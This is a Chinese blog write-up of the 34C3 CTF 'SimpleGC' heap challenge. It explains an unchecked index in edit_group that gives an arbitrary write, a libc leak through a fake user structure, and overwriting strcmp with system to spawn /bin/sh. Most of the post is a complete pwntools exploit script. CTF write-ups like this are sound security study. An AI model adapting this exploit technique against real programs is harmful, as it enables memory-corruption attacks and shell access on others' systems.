34c3ctf SimpleGC writeup

原创

charlie_heng 于 2018-02-09 19:19:22 发布 243 收藏

分类专栏： pwn

本文链接：https://blog.csdn.net/charlie_heng/article/details/79301363

看到这题，堆，难度标着是easy.....然而做起来真的感觉GG

其实这道题的漏洞也挺明显的，edit_group那里没有检查下标，下标可以到group那里，然后就可以实现任意地址写

但是想起来还是很麻烦的，想了半天才想到一种最快捷的办法

先create_user
然后group的name最后8个字节为要任意写的地址

然后delete这个user

这个时候程序按顺序干了几件事
1. 将group的计数减一
2. free掉user
3. 将这个user置为0
4. 子线程检测到group计数为0，将group free掉

此时fastbin的链表如下
user->group_name->group

当再创建一个user的时候，顺带会创建一个group，这个group的group name会是以前group的地址，group会是以前group name的地址，就是换了一下

所以我们这个时候edit group，然后下标输96，就能edit到我们想要的地址

但是这个时候还要leak出libc的地址，这个就比较麻烦了

本来想的是利用user的name free掉之后再创建，得到fastbin的指向main_arena的地址，但是这里比较坑，delete user的时候不会free name.....

所以我选择在bss段user那里构造一个fake user

但是一次只能写0x18个字节

所以可以分两次构造，不过其实这里一次构造也可以

然后可以利用fake_user来打印出got表里面函数的地址

然后再edit_group，将strcmp改成system，然后show group ，输入/bin/sh就能get shell

payload如下

```
from pwn import *

debug=1
if debug:
    p=process('./sgc')
    context.log_level='debug'
    #gdb.attach(proc.pidof(p)[0])
    e=ELF('/lib/x86_64-linux-gnu/libc-2.24.so')
else:
    p=remote('xx')
    e=ELF('./libc.so')

def ru(x):
    p.recvuntil(x)
def se(x):
    p.sendline(x)

def add_user(name,group,age):
    ru('Action: ')
    se('0')
    ru('Please enter the user\'s name:')
    se(name)
    ru('Please enter the user\'s group:')
    se(group)
    ru('Please enter your age:')
    se(str(age))

def edit_group(index,change,group):
    ru('Action: ')
    se('3')
    ru('Enter index: ')
    se(str(index))
    ru('Would you like ')
    if(change):
        se('y')
    else:
        se('n')
    ru('Enter new group name: ')
    se(group)

def show_user(index):
    ru('Action: ')
    se('2')
    ru('Enter index: ')
    se(str(index))
    p.recvuntil('Name: ')
    data=p.recv(6)
    return data

def delete_user(index):
    ru('Action: ')
    se('4')
    ru('Enter index: ')
    se(str(index))
sleep(1)
g1_name='a'*0x10+p64(0x602118)
g1_name=g1_name[:-2]
```

```python
g2_name='a'*0x10+p64(0x602100)
g2_name=g2_name[:-2]

add_user('x'*0x18,g1_name,1)
delete_user(0)
add_user('x'*0x18,g2_name,1)

fake_user=p64(0)+p64(0x602018)+p64(0x602068)[:-2]
edit_group(96,True,fake_user)

sleep(0.1)
delete_user(0)
add_user('x'*0x18,g2_name,1)

fake_pointer=p64(0x602118)*3
fake_pointer=fake_pointer[:-2]

edit_group(96,True,fake_pointer)

free=u64(show_user(6)+'\x00\x00')
base=free-e.symbols['__libc_free']
print(hex(free))
print(hex(base))
system=base+e.symbols['system']

edit_group(6,True,p64(system))

se('1')
sleep(0.1)
se('/bin/sh')


p.interactive()
```